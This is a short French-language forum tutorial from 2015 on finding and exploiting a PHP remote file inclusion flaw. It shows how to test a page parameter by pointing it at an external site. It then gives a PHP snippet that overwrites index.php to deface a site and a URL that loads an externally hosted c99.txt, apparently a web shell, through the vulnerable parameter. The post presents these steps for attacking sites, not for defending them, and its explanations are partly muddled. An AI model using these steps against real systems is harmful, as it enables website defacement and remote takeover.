Faille Include

Tεuchi PM|T

Fondateur

Membre du personnel

Fondateur

24 Juillet 2015

I- Trouver la Faille

Si nous avons ça :

Code :

http://[SITE]/index.php?page=contact.php

Cela montre la redirection vers contact.php

Pour exploité cette faille il faut une URL comme :

Code :

http://[SITE]/page.php?url=contact.php

Pour voir si il y a une faille , on redirige vers Google :

Code :

http://[SITE]/contact.php?url=http://www.google.fr

Code :

http://[SITE]/contact.php?var=http://www.google.fr

Si Google apparait , il ya une faille .

II- Exploiter la faille

Faite ce code en php :

(( Héberger le . La fonction fwrite() permettera d'exploiter la faille ))

Code :

<?
$fp=fopen("index.php", w);
$msg="Hello";
fwrite($fp,$msg);
fclose($fp);
?>

Le code qui defacera l'index ( simple redirection )

Code :

http://[SITE]/contact.php?url=http://Lien_de_votre_page.fr/c99.txt